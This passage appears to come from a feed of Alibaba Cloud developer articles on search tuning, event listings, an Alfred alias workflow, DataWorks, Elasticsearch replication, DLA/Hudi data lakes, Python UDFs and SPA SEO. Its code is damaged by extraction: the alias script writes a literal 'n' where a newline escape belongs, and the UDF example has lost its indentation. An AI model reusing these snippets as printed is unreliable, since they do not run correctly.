    问题分析:

    (1)针对召回结果不理想情况,经分析发现自建ES服务没有对搜索关键词做智能的语义理解,甚至有些实体名词分词还是错误的;
    (2)针对排序问题,经分析需增加“综合”搜索结果呈现,根据核心索引优化排序算法;

    开放搜索解决方案:

    1595474121408-2e973285-9869-47c1-b46e-3c85c4cf4526.png
    (1)核心索引上配置使用了电商行业的查询语义理解,包括同义词、停用词、电商拼写纠错、电商实体识别等 ,就是这些功能将搜索关键词进行了系统可识别的智能改写,扩大召回相关结果;
    (2)针对商品别称问题,运营同学通过平时运营积累的专业词汇可视化同步到开放搜索做查询语义理解功能的补丁,通过灵活干预得以解决;
    (3)创建核心索引“商品标题、颜色、类目名称、品牌名称、运营优化文案、系列名称等”,将它们引入到排序表达式中,通过多个维度构建出更精细化的排序模型;
    (4)增加“综合”搜索tab,并默认展示“综合”搜索结果

    实践后的搜索性能对比:

    (1)搜索“詹姆斯球衣”输入成“詹慕斯球衣”
    • Before: 服务无法召回相关结果;
    • After: 纠错改写为“詹姆斯”进行查询,并且前端会提示“以下的结果是查询:詹姆斯球衣,仍然搜索詹慕斯球衣”;IMG_5180.PNG
    (2)搜索“喷泡”
    • Before:无法召回相关结果;
    • After: 召回到Air Jordan AirFoamposite系列的鞋
    1597058789960-e2f3639e-fc98-4d87-a9f1-4da9c9322289.jpeg
    (3)排序效果
    • Before:以销量默认排名,个人卖家排序靠后
    • After:提高搜索相关性增加更多商品曝光机会

    ]]>
    DevUP 沙龙 | 八月北京、青岛、厦门燥起来 Fri, 02 May 2025 09:39:03 +0800 炎热的周末不知去哪里耍,不如来参加阿里云开发者 DevUP 沙龙吧。三大城市火热来袭,专家面对面交流,更有实操环节加深理解。放松学习的同时还有机会结交志同道合的小伙伴,约约约!

    报名直通车:

    8月22日【青岛】活动:阿里云开发者 DevUP 沙龙 -青岛站 -阿里巴巴微服务技术的应用与实践

    8月22日【厦门】活动:阿里云人工智能+大数据的实践与应用-阿里云开发者DevUP 沙龙·厦门站

    8月27日【北京】活动:阿里云开发者 DevUP 沙龙 -北京站 -阿里云企业AIOT技术与解决方案沙龙

    大咖分享还有动手操作,更多精彩尽在【阿里云开发者 DevUP 沙龙】。活动时间均在周末,放松学习同时还有机会结交志同道合的小伙伴,还等什么快来参加吧<<<<<<<

    活动一:阿里云开发者 DevUP 沙龙 -青岛站 -阿里巴巴微服务技术的应用与实践

    微服务开发中,SpringCloud作为Spring生态中的针对微服务的技术框架,越来越受到各个企业技术人员的追捧。但是,SpringCloud中一些组件,在实践使用中,存在一定的局限。SpringCloudAlibaba,横空出世,替换了SpringCloud中的一些组件,使微服务在实践中,能够更便捷的、更优雅的实现落地。

    8月15日,上海ACE同城会特邀阿里平头哥的2位语音产品专家,从操作系统融合、解决方案支撑、语音市场趋势规划等方面,跟大家一起畅聊语音圈!

    时间:8月22日(周四)13:30-16:10
    地点:山东省青岛市崂山区海尔路170号鑫裕和大厦8楼

    活动亮点:
    1、面基!在青岛举办的线下技术沙龙。
    2、阵容!各类技术专家在线实践教学。
    3、干货!快速了解微服务相关知识。

    报名地址:https://survey.aliyun.com/apps/zhiliao/7irPO_3gv

    image.png

    活动二:阿里云人工智能+大数据的实践与应用-阿里云开发者DevUP 沙龙·厦门站

    阿里云开发者社区携手云原生后端、阿里云基础产品事业部共同出品了本次沙龙。

    现场邀请了4位阿里云专家为大家分享云计算行业人工智能+大数据的实践与应用,期待您的参与。

    时间:8月22日(周六)13:30——17:20
    地点:厦门市集美区杏林湾路营运中心1号楼2楼

    报名地址:https://developer.aliyun.com/article/769954

    image.png

    活动三:阿里云开发者 DevUP 沙龙 -北京站 -阿里云企业AIOT技术与解决方案沙龙

    在阿里云线上市场,近2万解决方案已经应用在几十万个城市,企业和工厂,无数家庭受天猫精灵带来的只能生活,物联网已经是基础设施,更是企业的核心竞争力。

    时间:8月27日(周四)13:30-17:30
    地点:北京市朝阳区望京东园4区4号楼——阿里中心·望京B座 2F-13文韵阁

    活动亮点:
    1、面基!在阿里园区举办的线下技术沙龙。
    2、阵容!阿里云各类技术专家在线教学。
    3、干货!快速打造企业级物联网平台和应用,实现数字化转型。

    报名地址:https://developer.aliyun.com/article/769911

    image.png

    各位小伙伴是不是按耐不住内心的激动了呢?快快点击下方的阅读原文报名,来和阿里巴巴的技术专家们深度交流吧!

    ACE同城会

    阿里云 ACE全称 Alibaba Cloud Engineer。意为阿里云的工程师、代表着云计算的建设者。同时“ACE”又是扑克牌中的“A”,因此阿里云ACE也寓意着是云计算领域王牌的一群人。

    ACE同城会是遍布在全国的开发者社群,作为国内优秀的开发者圈子,为所有开发者提供学习、交流的机会和平台。

    在全国48个城市成立了同城会,覆盖13万开发者,举办超100场线下活动。

    官网:https://mvp.aliyun.com/ace

    现开发者社区招募会长和班委,有意者钉钉扫码联系运营同学,加好友时请备注【ACE同城会会长/班委】。

    test

    ]]>
    macOS 神器 Workflow ,让效率翻倍! Fri, 02 May 2025 09:39:03 +0800 滚动.gif

    背景

    一起回顾一个大家非常熟悉场景。

    上周开发一个需求,开发过程中,我需要登录到服务器上看一下服务运行的日志,确认运行状态或者看一些debug的信息。所以我登录到跳板机,此时我发现我忘了某一台机器的具体名字(通常能记得的人都是天才),所以需要用跳板机提供的 autoget 命令来通过服务器组名来获得机器的列表。

    此时我发现我连服务器组名都忘了,所以需要上 eagle eye 上查寻一下组名。这个查询可能得依靠我的记忆打出组名的前缀,通过 eagle eye 给出的补全提示列表来识别出其中那个我需要的组名。

    终于我得到了我的组名,为了避免我下次再忘记而不得不再繁琐的查询一遍,我选择把这些结果记录到我的记事本中,方便我下次查找使用。终于我登录了机器,可是不巧我忘了日志记录的位置,我想起某个同事曾经告诉过我日志的路径,于是我查找了与那个同事的聊天记录,找到了这个日志路径。同样为了防止忘记,我又把它记录到了我的记事本中方便下次查找。然后我把日志路径复制粘贴到命令行,我终于可以开始工作了。

    昨天我又开发了一个需求,我还需要登录到服务器上看一下服务运行的日志,确认运行状态或者看一些 debug 的信息。所以我登录到跳板机,需要用跳板机提供的 autoget 命令来通过服务器组名来获得机器的列表,我想起了我在记事本中记录了这个内容,于是我打开记事本,搜索了 keyword,在简单的翻找下,我找到了我想要的命令。

    进入到机器后,我发现日志的路径我还是没有记住。于是,我再次打开记事本,搜索了另一个 keyword ,再次翻找了一下,找到路径后把它复制粘贴到命令行,我一边粘贴一边想,我要是像在本机的终端环境中,把这些命令写成 bashrc 中的 alias 就好了。我又可以开始工作了。

    于是,我的记事本中的内容一般都是这样:

    image.png

    从上述两次流程的对比中,我们发现记事本已经给我们的工作带来很大的提效了。但是在昨天流程最后我的思考中,我们不难发现,这个提效,还有提升的空间。我认为任何用过 shell 的 alias 的同学都会认同我的观点:如果上述流程能用alias来记录这些冗长的命令,我们就不用麻烦记事本了不是吗?

    可是跳板机是公共资源,有严格的使用规范。具体服务器又是容器化部署,每次部署都会是一个新的容器,所以在当前的bashrc上写下什么并没有用。或许我们能寻找一个新的途径来实现这个需求。

    问题

    让我们从背景中总结我们正在面临的是哪些问题:

    1、工作中存在非常多冗长难记的信息,需要我们在各个场景反复输入。
    2、这些冗长的信息来源分散,查找起来非常麻烦耗时。
    每次需要输入时等要通过额外的操作,频繁切换聚焦的窗口来获取这些信息。
    3、这些问题虽然各自都占用了我们为数不多的时间和精力,但因为场景小而频繁,当乘以次数后,这些消耗也变得非常可观,并且非常影响我们的工作体验。

    思考

    让我们思考一下当我们想要使用 alias 的时候我们实际想要的是什么?我以个人的经验来总结,大概是以下几点:

    1、用一个很短的短词来替代一个需要高频输入的很长的句子。

    2、用一个更好记的词替代一个难记易忘的句。

    3、配置的成本可控,使用的成本很低。

    我们品一品1、2两点,其本质就是一个字典,由短语为key,长句为value。这个是我们程序员的好朋友了,我们可以简单的通过一个文件就能实现这份配置。事实上,我们使用记事本记录,其实本质也是在使用字典的特性。而第三点,让我瞬间想到使用 Alfred 的 Workflow 这个Mac上的神器。关于 Alfred 此处不做介绍,不知道或者想要了解的同学可以移步官网

    设计

    其实针对我们已经给出的需求,我们非常容易就可以得出一个设计思路。我们可以固定一个文件路径保存一个文件,这个文件以一种简单的格式或方式保存一个字典。编写一个 alfred 的 workflow 来解析这个文件形成一个 Map ,并通过搜索和匹配 key 来快速的获取 value ,而获取 value 最有效的方式就是把 value 输出到系统的剪切板中。

    考虑到 Mac 和 Alfred 的使用用户并不全是工程师,我们选择记录字典的格式最好越简单越好。所以我计划以普通的文本格式,每一行为一个键值对,第一个空格前的短词为 key ,第一个空格后的内容为 value 。直接让用户新建指定路径的文件并通过编辑文件的方式来管理的形式确实可以被一部分用户所接受,但是为了能面对更多用户,我认为以 workflow 的方式在增删字典的内容也同时是需要支持的。这样不想关心具体实现、不愿接触文本文件的用户同样可以无感使用。

    最后我给这个 workflow 取名为 EasyAlias。

    实现

    来看一下 workflow 的排版:

    image.png

    通过三个关键字的Alfred命令,分别实现设置alias(sal, set alias),删除alias(dal, delete alias),查找(gal, get alias)。

    其中sal和dal使用简单的keyword输入,而gal为了使用Alfred通过的展示候选列表和搜索匹配的能力,而使用了Script Filter作为输入。三者都通过shell调用了一个实现主要功能的python脚本easy_alias.py,通过传入不同的action参数来区分行为。

    sal:

    python easy_alias.py set {query}

    dal:

    python easy_alias.py del {query}

    gal:

    python easy_alias.py show {query}
    cat filter.output

    easy_alias.py

    # coding=utf8
    import sys
    import json
    from os import listdir, makedirs
    from os.path import isfile, join, exists, expanduser
    
    base_path = expanduser("~/.easy_alias")
    file_name = "alias_conf"
    file_path = join(base_path, file_name)
    
    alias_map = dict()
    
    def init():
        if not exists(base_path):
            makedirs(base_path)
        if not exists(file_path):
            open(file_path, 'w').close()
    
    def get_key_and_value(text):
        seqs = text.strip().split(' ')
        if len(seqs) < 2:
            return None, None
        key = seqs[0];
        value = reduce(lambda x, y: x.strip() + ' ' + y.strip(), seqs[1:])
        return key, value
    
    def get_alias_map():
        with open(file_path, 'r') as f:
            for line in f.readlines():
                k, v = get_key_and_value(line)
                if k == None or v == None:
                    continue
                alias_map[k] = v
    
    def set_alias():
        if len(sys.argv) < 3:
            return 
        text = sys.argv[2].strip()
        k, v = get_key_and_value(text)
        if k == None or v == None:
            return
        alias_map[k] = v
    
    def del_alias():
        if len(sys.argv) < 3:
            return 
        key = sys.argv[2].strip()
        new_content = ""
        if key in alias_map:
            alias_map.pop(key)
    
    def show_alias():
        items = list()
        for k, v in alias_map.iteritems():
            d = {
                "uid": k,
                "type": "default",
                "title": k,
                "subtitle": v,
                "arg": v,
                "autocomplete": k,
                "icon": {
                    "type": "fileticon",
                    "path": "icon.png"
                }
            }
            items.append(d)
        show = {"items": items}
        with open('filter.output', 'w') as f:
            f.write(json.dumps(show))
    
    def write_map_to_file():
        file_content = ''
        for k, v in alias_map.iteritems():
            file_content += k + ' ' + v + 'n'
        with open(file_path, 'w') as f:
            f.write(file_content)
    
    if __name__ == '__main__':
        init()
        get_alias_map()
        action = sys.argv[1]
    
        with open(join(base_path, 'logs'), 'a') as f:
            f.write(str(sys.argv) + 'n')
    
        if (action == 'set'):
            set_alias()
        if (action == 'del'):
            del_alias()
        if (action == 'show'):
            show_alias()
    
        write_map_to_file()

    效果

    设置一个alias

    image.png

    查找一个alias

    image.png

    删除一个alias

    image.png

    如果觉得通过sal设置和dal删除的方式太麻烦,也可以直接编辑~/.easy_alias/alias_conf

    image.png

    保存文件再查询

    image.png

    作业

    这个 workflow 本身很简单很好实现。本文也希望不仅仅只是一个简单分享,希望能与读者有所互动,所以打算留个回家作业。

    可以发现现在 dal 命令现在需要使用者盲打key,而不是像gal这样可以搜索补全。这会给使用者带来一定烦恼。回家作业就是将 dal 命令也改造成像 gal 一样可以搜索补全的形式。

    作业下载
    EasyAliasPro

    总结

    让我们回过头看一下我们再开始时面对的问题是否得到了很好的解决。

    我们无法改变工作中频繁需要冗长信息的状况,但是我们通过访问剪切板的方式让输入变得简单。
    我们用一个文件将这些信息集中在一起,并且通过工具打打提升了我们检索这些信息的效率。
    Alfred提供给我们一个在检索并获取这些信息上无需切换窗口,并且操作非常简单的方式。

    很高兴,我们很大程度上解决了我们先前提出的这些问题!

    最后

    今天我又开发了一个需求,我还需要登录到服务器上看一下服务运行的日志,确认运行状态或者看一些debug的信息。所以我登录到跳板机,唤醒了Alfred,输入gal ahostp,并将结果粘贴在命令行获得了机器列表。登上机器后,我再次唤醒Alfred,输入gal alog,并粘贴在命令行中。现在我可以开始工作了。

    关注「淘系技术」微信公众号,一个有温度有内容的技术社区~

    image.png

    ]]>
    DataWorks百问百答51:如何用独享资源组跑ADB、DLA节点? Fri, 02 May 2025 09:39:03 +0800

    DataWorks通过ADB、DLA等节点类型访问对应数据源介绍     

       您可以在Dataworks中新建AnalyticDB for MySQL、AnalyticDB for PostgreSQ、Data Lake AnalyticsL等节点,构建在线ETL数据处理流程。
    (1)AnalyticDB for MySQL节点用于接入阿里云产品分析型数据库MySQL版,详情请参见分析型数据库MySQL版
    (2)AnalyticDB for PostgreSQL节点用于接入阿里云产品分析型数据库PostgreSQL版,详情请参见分析型数据库PostgreSQL版
    (3)Data Lake Analytics节点用于接入阿里云产品Data Lake Analytics,详情请参见什么是Data Lake Analytics

    以AnalyticDB for MySQL为例:

    1、首先需要在数据源配置界面,用连接串形式配置好数据源,jdbc地址用内网地址添加的话,在测试连通性时,默认是用默认资源组在访问,所以会存在网络不通的问题,因此,在我们配置完数据源信息后,可直接保存,跳过测试连通性,直接去建立AnalyticDB for MySQL节点任务。
    image.png


    image.png
    2、建立好节点之后,选择上方添加好的的数据源,编辑逻辑处理查询等语句,即可在线ETL数据处理。
    image.png


    3、编写语句完成之后,保存,然后点击高级运行,选择独享调度资源组运行即可。
    image.png


    4、出于安全的考虑,数据库会有白名单的限制,因为平台所提供的默认资源组机器IP不固定,时常会出现网络访问不通的情况,所以推荐大家使用独享调度资源组来跑任务(购买的独享调度资源和数据源需要在同VPC同可用区下)。
         用独享资源组跑任务时,需要将独享资源组的EIP、网段信息和独享资源绑定的专有网络的IP网段(或绑定专有网络时选择的交换机网段)加至对应数据源的访问许可内。没有添加的话,会出现以下网络不通的情况:
    Caused by: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure
    image.png

    注意:

    再次提醒:独享资源组必须要和数据源在同VPC同可用区下,也要添加相应的网段至数据库白名单中,这样网络方可访问成功。

    DataWorks百问百答历史记录 请点击这里查看>>

    更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

    ]]>
    【最佳实践】3分钟学会使用Elasticsearch跨集群复制功能(CCR) Fri, 02 May 2025 09:39:03 +0800 当您需要将本地Elasticsearch集群中的索引数据迁移到一个远程集群中,或者将一个远程集群中的索引数据迁移到本地集群,可通过跨集群复制CCR(Cross Cluster Replication)功能实现。本文介绍具体的实现方法。

    背景信息


    CCR是开源Elasticsearch在platinum版本中发布的一个商业特性购买阿里云Elasticsearch实例后,您无需额外付费,只需要简单配置,即可使用CCR功能(目前仅支持单可用区6.7.0及以上版本的阿里云Elasticsearch实例)。CCR的应用场景如下:

    • 灾难恢复及高可用性对于分布在不同地域的Elasticsearch集群,您可以通过CCR进行数据备份。当其中一个集群发生故障时,您可以通过访问其他集群来获取故障集群的数据,保证数据不丢失。
    • 就近访问数据例如A集团下有多个子公司,各子公司所分布的地域不同。为了提高业务处理速度,可按照地理位置划分子公司要承担的业务,并通过CCR将业务数据分发给各地域中的Elasticsearch集群。子公司在处理业务时,可直接访问当前所在地域的集群。
    • 集中报告通过CCR,将多个数据量较小的集群中的数据复制到一个中央集群中,进行可视化分析与报告。

    使用CCR功能,需要准备两种类型的集群。一个是远程集群,即提供源数据(Leader index)的集群;一个是本地集群,即订阅数据(Follower index)的集群。该功能为被动复制,即所有复制任务都是由本地集群执行。同时支持批量实时迁移数据,更多详情请参见Cross-cluster replication

    本文以阿里云Elasticsearch为例,为您介绍跨集群复制功能(CCR)的使用方法。阿里云Elasticsearch兼容开源Elasticsearch的功能,以及Security、Machine Learning、Graph、APM等商业功能,致力于数据分析、数据搜索等场景服务。支持5.5.3、6.3.2、6.7.0、6.8.0和7.4.0等版本,并提供了商业插件X-Pack服务。在开源Elasticsearch的基础上提供企业级权限管控、安全监控告警、自动报表生成等功能。阿里云Elasticsearch为您提供1个月的免费试用活动,单击此处即可免费试用。

    操作流程


    1. 准备工作

    准备远程和本地集群,以及待迁移的索引。

    1. 步骤一:配置实例网络互通

    连通远程和本地集群的网络。

    1. 步骤二:添加远程集群

    在本地集群的Kibana控制台中,添加远程集群。

    1. 步骤三:配置跨集群复制

    在本地集群的Kibana控制台中,配置待迁移和迁移后的索引。

    1. 步骤四:验证数据迁移结果

    在远程集群中插入数据,在本地集群中,验证数据是否迁移成功。

    准备工作


    1. 准备远程和本地Elasticsearch集群。{#cmd-ps8-i4x-dwf}

    具体操作步骤请参见创建阿里云Elasticsearch实例。要求两个实例为相同版本(6.7.0及以上),可用区类型为单可用区,且在同一专有网络和虚拟交换机下。

    1. 参见登录Kibana控制台,在远程集群中创建待迁移的索引。

           PUT myindex
         {
           "settings": {
       "index.soft_deletes.retention.operations": 1024,
       "index.soft_deletes.enabled": true
           }
         }

    注意

    对于7.0及以下版本的Elasticsearch实例,在创建索引时,需要开启soft_deletes属性,否则会报错。
    如果您需要迁移已创建的索引,需要通过重建索引来开启soft_deletes属性。

    1. 关闭待迁移的索引的物理复制功能。

    对于6.7.0版本的阿里云Elasticsearch实例,系统会默认为新建索引开启物理复制功能。使用CCR功能时,需要先关闭物理复制功能。

    1. 关闭索引。

         POST myindex/_close
      
    2. 更新索引settings,关闭物理复制功能。

         POST myindex/_settings
         {
         "index.replication.type" : null
         }
      
    3. 打开索引。{#cmd-c4f-nw3-dk6}

         POST myindex/_open
      

    步骤一:配置实例网络互通


    参见配置实例网络互通,在远程集群中添加需要进行网络互通的本地集群。最终配置如下。
    在这里插入图片描述

    步骤二:添加远程集群


    1. 登录本地集群的Kibana控制台。

    具体操作步骤请参见登录Kibana控制台

    1. 在左侧导航栏,单击 Management
    2. Elasticsearch 区域中,单击 Remote Clusters
    3. 单击 Add a remote cluster
    4. Add remote cluster 页面中,输入远程集群信息。

       ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200730191817233.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2Mzk2NTYz,size_16,color_FFFFFF,t_70)
      

    Name :远程集群的名称,不可重复。
    Seed nodes :需要配置为远程集群的主节点的IP地址:9300。远程集群的主节点的IP地址,可在远程集群的Kibana控制台中,使用GET /_cat/nodes?v命令获取。
    在这里插入图片描述

     **注意** 由于CCR功能是Kibana通过数据节点之间的TCP端口(9300),访问数据节点IP的形式来进行网络互通,因此不支持HTTP端口(9200)访问。
    
    1. 单击 Save

    保存后,系统会自动连接远程集群。连接成功后,显示 Connected
    在这里插入图片描述

    步骤三:配置跨集群复制


    1. 在本地集群Kibana控制台的 Management 页面,单击 Elasticsearch 区域中的 Cross Cluster Replication
    2. 单击 Create a follower index
    3. Add follower index 页面,配置跨集群复制信息。
      在这里插入图片描述

    | 参数 | 说明 |
    |--------------------|----------------------------------------------------------------------------------------------|
    | Remote cluster | 选择您在步骤二:添加远程集群中添加的集群。 |
    | Leader index | 待迁移的索引。本文使用在准备工作中创建的 myindex 索引。 |
    | Follower index | 迁移数据生成的索引。索引名称不可重复。 |

    1. 单击 Create

    创建成功后,索引的状态显示为 Active
    在这里插入图片描述

    步骤四:验证数据迁移结果


    1. 参见登录Kibana控制台,在远程集群中插入数据。

         POST myindex/_doc/
         {
           "name":"Jack",
           "age":40
         }
      
    2. 在本地集群中,验证数据是否迁移成功。

         GET myindex_follow/_search
      

    迁移成功后,返回如下结果。
    在这里插入图片描述

    从以上结果可以看到,远程集群的Leader索引(myindex)中的数据,已通过CCR功能复制到了本地集群的Follower索引(myindex_follow)中。

    1. 在远程集群中,重新插入一条数据,随即在本地集群中进行查看,验证增量数据是否实时同步。

         POST myindex/_doc/
         {
           "name":"Pony",
           "age":50
         }
      

    数据插入后,立即在本地集群中进行查看,结果如下。
    在这里插入图片描述

    从以上结果可以看到,通过CCR可以实现增量数据的实时同步。
    说明 您也可以通过CCR功能的API,进行跨集群复制相关操作,详情请参见Cross-cluster replication APIs

    ]]>
    基于阿里云数据湖分析服务和Apache Hudi构建云上实时数据湖 Fri, 02 May 2025 09:39:03 +0800 1. 什么是实时数据湖

    大数据时代数据格式的多样化,如结构化数据、半结构化数据、非结构化数据,传统数据仓库难以满足各类数据的存储,同时传统数仓已经难以满足上层应用如交互式分析、流式分析、ML等的多样化需求。而数仓T+1的数据延迟导致分析延迟较大,不利于企业及时洞察数据价值;同时随着云计算技术发展以及云上对象存储的廉价性,使得越来越多企业基于云来构建数据湖,而传统数据湖由于缺失ACID事务能力,导致其上构建的表不支持事务,同时也无法处理数据的更新删除,数据湖能力未得到进一步释放。为企业更快洞见数据价值和补齐ACID事务等能力,需要引入实时数据湖,以此作为大数据处理架构来对应上层应用各类分析需求。

    2. 大数据平台方案

    2.1 传统Hadoop方案

    大数据时代以Hadoop体系为首的大数据分析平台逐渐表现出优异性,而围绕Hadoop体系的生态圈也不断完善,Hadoop体系从根本上解决了传统数据仓库的瓶颈问题。
    undefined

    传统批处理带来的延迟较大,并且随数据规模增长,通常会遇到如下问题。

    • HDFS限制:许多依赖 HDFS 扩展其大数据基础架构的公司都面临着这个问题。根据设计,HDFS 受 NameNode 内存容量的限制,因此存储大量小文件会显着影响性能。当数据大小超过10PB这个问题开始出现,如果数据量达到50-100 PB就会成为问题。 幸运的是,有一些相对简单的解决方案可以将 HDFS 从几十PB扩展到几百PB,例如利用 ViewFS 和 HDFS NameNode Federation;或通过控制小文件的数量并将不同的数据移到单独的集群,这样我们能够减轻 HDFS 的瓶颈。
    • 快速更新:对于很多用例而言,需要尽可能地访问新数据,而传统数仓T+1的更新延迟太大,无法满足对数据实时性要求很高的场景,同时由于数据延迟太大,无法利于企业做出及时决策。
    • 支持在 Hadoop上 更新和删除:大数据下的分布式存储强调数据的只读性质,所以类似于Hive,HDFS这些存储方式都不支持update,HDFS的write操作也不支持并行,这些特性导致其具有一定的局限性,无法支持对现有数据的更新和删除操作。为应对平台数据规模增长,必须找到一种方法来解决 HDFS 文件系统中的这种限制,以便支持更新/删除操作。

    2.2 Lambda方案

    对于批处理而言,虽然数据质量高,但其延迟太大。考虑到数据延迟问题,业界还有一种比较流行的架构,Lambda架构,兼具低延迟与稳定。

    undefined

    Lambda架构中,一份数据会分别进入速度层进行流式处理生成实时的增量视图和进入批处理层进行批量处理生成稳定可靠的历史视图,在上层查询时会合并增量视图和历史视图形成完整视图返回,这样便兼顾了数据的低延迟,但同时可以看到该架构需要维护两份数据、两份结果存储和多个处理框架,加重了系统维护负担。

    能否兼顾系统的可运维性和数据低延迟以及规避上述在传统HDFS上方案的弊端来构建一个可伸缩的实时数据湖呢?答案是肯定的,可以基于阿里云DLA(Data Lake Analytics 数据湖分析) + Apache Hudi构建实时数据湖。

    3. 阿里云实时数据湖方案

    使用DLA + Hudi技术方案可轻松在阿里云OSS上构建实时可分析的数据湖。

    企业典型的数据链路如下。

    • 各类App数据采集到Kafka或其他MQ;
    • 对Kafka中数据使用Spark/Flink等引擎进行处理;
    • 将处理结果写出(DB、HDFS、OSS等);
    • 通过分析引擎(Presto/Hive/Spark)对结果分析生成报表等;

    现在DLA已经内置集成Hudi,与此同时利用DLA内置Spark开箱即用的能力,用户便可在DLA中快速构建Hudi数据湖,架构如下所示。

    undefined

    用户通过DLA SparkStreaming消费上游数据,然后以Hudi增量格式写入OSS并自动同步元数据至DLA Meta;当然对于用户自建Spark集群方式也可支持,也只需要将上游数据以Hudi格式写入OSS并自动关联至DLA Meta即可,接着便可以使用DLA-SQL进行在线交互式分析或使用DLA-Spark进行机器学习和离线分析。两种方案都极大降低了用户使用DLA的门槛,也体现了DLA极致的开放能力,基于DLA和Hudi构建实时数据湖总结有如下优势

    • 全链路数据延迟可达分钟级别,打造T + 0 数据湖;
    • 支持数据增量存储在OSS,支持Upsert/Delete,同时自动构建元数据管理;
    • 丰富的数据源,支持阿里云上超过95%数据源;
    • 支持全托管的SQL & Spark,免去集群运维;
    • 弹性Serverless SQL/Spark,满足交互式、批处理、机器学习多种工作负载;
    • 一份数据存储在OSS,通过DLA Meta增量管理,降低存储成本低;
    • 支持多租户及按照扫描量计费,能有效管理多分析师的查询需求和SQL使用量;

    下面简单介绍下什么是DLA和Apache Hudi。

    3.1. 什么是DLA

    阿里云数据湖分析Data Lake Analytics是阿里云数据库自研的核心产品,是新一代CloudNative分析平台;开放计算,支持MySQL协议,支持Presto、Spark引擎;主打低成本、Serverless无托管成本;统一元数据、可以让用户拥有统一的数据视图。目前在阿里云服务数千客户。
    更多详情可参考:https://www.aliyun.com/product/datalakeanalytics

    2.png

    DLA的Serverless能力免去了企业高昂的运维成本及应对数据波峰波谷扩缩容等繁琐步骤,按量计费,无持有成本。同时DLA没有单独存储用户数据,用户数据以开放的格式存储在OSS中,然后只需将元数据关联到DLA Meta后便可使用DLA SQL进行分析,或者通过DLA Spark进行复杂的ETL操作。

    3.2 什么是Apache Hudi

    Apache Hudi是一个支持插入、更新、删除的增量数据湖处理框架,可以用来管理分布式文件系统(如HDFS)/云上(OSS、S3)超大规模数据集。Hudi提供了如下关键特性

    • 可插拔索引机制支持快速Upsert/Delete
    • 支持增量拉取表变更以进行处理
    • 支持时间旅行,查看旧版本数据
    • 支持ACID,事务提交及回滚
    • 自动管理小文件以优化查询性能
    • 基于行存的快速写入,并支持异步压缩为列存便于分析
    • 用于进行审计跟踪的元数据时间轴

    更多详情可参考https://hudi.apache.org/

    4. Demo示例

    可参考实时数据湖快速入门 了解如何使用DLA和Hudi构建实时数据湖示例。

    5. 总结

    本篇文章首先介绍了什么是数据湖,以及常见的大数据解决方案,然后介绍了阿里云实时数据湖方案,使用DLA + Hudi方案快速构建近实时可分析数据湖,并列举方案优势,最后提供了简单Demo示例展示如何集成DLA和Hudi。

    感兴趣的小伙伴欢迎入钉钉群交流

    undefined

    ]]>
    DataWorks百问百答47:如何配置操作Python UDF函数? Fri, 02 May 2025 09:39:03 +0800 udf函数是什么?
    maxcompute自带了一些函数比如:max/min/sum 等,但是由于自带的函数数量有限且实现的功能有较大的局限性,通常不能满足业务的需要,这时用户可以自己定义udf来方便扩展。udf 函数可以直接应用于select 语句,对查询结构做格式化处理之后,然后再输出内容。


    注意点:
    1.Python UDF必须通过annotate指定函数签名。
    2.必须实现 evaluate 方法
    操作步骤:
    step1:
    创建python类型ud资源:
    案例如下:(实现两个bigint类型字段值相加)
    image.png
    from odps.udf import annotate
    @annotate ( "bigint,bigint->bigint" )
    class MyPlus ( object ):
    def evaluate ( self , arg0 , arg1 ):
    if None in ( arg0 , arg1 ):
    return None
    return arg0 + arg1

    step2:
    根据资源来配置创建函数:

    image.png
    注意点1:类名为资源文件名.class类名
    注意点2:资源列表中填写 所有 用到的文件(例如udf中用到的其他文本类型文件等),用英文逗号分隔

    step3:
    调用函数实现业务需求:
    image.png

    注意点1:调用语句中使用的是函数名

    DataWorks百问百答历史记录 请点击这里查看>>

    更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

    ]]>
    SPA 的 SEO 方案对比、最终实践 Fri, 02 May 2025 09:39:03 +0800 原文链接:https://taskhub.work/article/73058307795021824
    已获作者授权转载

    前端开发技术日新月异,由于现代化构建、用户体验的需求,angular/vue/react 等框架已经成为开发标配,大部分应用都是 SPA,同时也带来了很多新问题:

    • SEO 不友好
    • 首屏渲染慢

    为了解决这些问题,开源社区有很多方案,本文主要对这些方案进行对比。

    一、客户端渲染(CSR)方案

    React开发的SPA就是一种CSR方案,如图所示,在到达浏览器之前的html页面是没有内容的,要等到浏览器执行相应异步请求获取数据填充后才显示界面。

    优点

    • SPA 的优点(用户体验较好)

    缺点

    • SEO不友好(爬虫如果没有执行js的能力,如百度,获取到的页面是空的,不利于网站推广)
    • 首屏加载慢(到达浏览器端后再加载数据,增加用户等待时间)

    二、服务端渲染 (SSR)方案


    基本原理: 在服务端起一个node应用,浏览器到来时,先拦截执行部分 js 异步请求,提前将数据填充到 html 页面中返回浏览器。这样爬虫抓取到的页面就是带数据的,有利于SEO

    需解决问题:

    1. 大部分应用开发时都有状态管理方案(Vuex, Redux),SPA 应用到达浏览器前状态都是空的,使用SSR后意味着需要在服务端提前填充数据到 store
    2. 需要拦截相应 hook(vue 的 created、react 的 componentDidMount),等待异步数据请求完成,确认渲染完成

    针对这些问题,社区也有相应框架可参考:

    框架 解决方案 Github star
    Vue Nuxt.js 28.4k
    React Nextjs 50.8k
    Angular - -

    不想使用框架,也可以自己修改react、vue 的 render 方法实现(改动工作量更大)

    优点

    • SEO 友好
    • 首屏渲染快(可在服务端缓存页面,请求到来直接给 html)

    缺点

    • 代码改动大、需要做特定SSR框架的改动(经过我们实践、原有SPA代码改动非常大)
    • 丢失了部分SPA体验
    • node 容易成为性能瓶颈

    三、构建时预渲染方案

    Solution Github Star
    prerender-spa-plugin 6k
    puppeteer 63.2k
    phantomjs 1.4k

    基本原理: 利用webpack 等构建工具,针对 SPA 应用开发后只有一个 index.html 文件入口问题,用上述预渲染中间件在前端项目构建时预先获取页面数据,生成多个页面,如 about、help 、contact 等页面,优化首屏渲染与部分页面SEO

    优点

    • 代码侵入性小

    缺点

    • 无法用于大量动态路径页面场景(生成的 html 页面数据大,而且页面数据会有更新。如 /article/123,文章页面)
    • 后台请求数据变动时前端应该同步更新版本

    四、服务端动态渲染(利用user-agent)

